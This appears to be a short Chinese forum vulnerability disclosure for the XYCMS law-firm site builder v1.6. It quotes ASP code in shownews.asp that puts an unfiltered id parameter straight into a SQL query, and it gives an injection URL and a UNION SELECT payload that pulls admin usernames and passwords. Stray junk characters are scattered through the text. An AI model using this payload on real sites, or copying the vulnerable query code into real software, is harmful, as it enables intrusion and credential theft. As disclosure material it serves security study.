XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

, z$ X2 A  d6 _. X淫荡分割线
--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

0 b  d8 ~3 k# s! w3 a9 C! ]3 M漏洞文件:shownews.asp
漏洞代码：7-13行

' O) \4 I/ T5 [# o# ?
0 `$ C5 j* p# A. l3 x<%
3 u6 V$ @4 m% z* B& K% G4 ~id=request.QueryString("id")
   
% G+ r6 I! z, Q) Y0 W. `2 r+ `/ {set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
5 a0 W) c' Z6 \# F7 qsnews.open exec,conn,1,1
%>

. J& A# e) P2 |
0 i4 w. F9 o% e1 E6 r3 J% F什么过滤都没有  直造成注入
8 |! k* b5 U5 Y' a, q# E
  W& P5 f/ r6 o, i( N注入点:http://127.0.0.1:99/shownews.asp?id=xx

7 ]8 q: B' A! b4 g- }其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

+ ~4 w7 y+ D5 o8 T3 F8 a
- r( S/ g: E0 H. r4 Zexp: union select 1,admin,password,4,5,7 from admin_user
​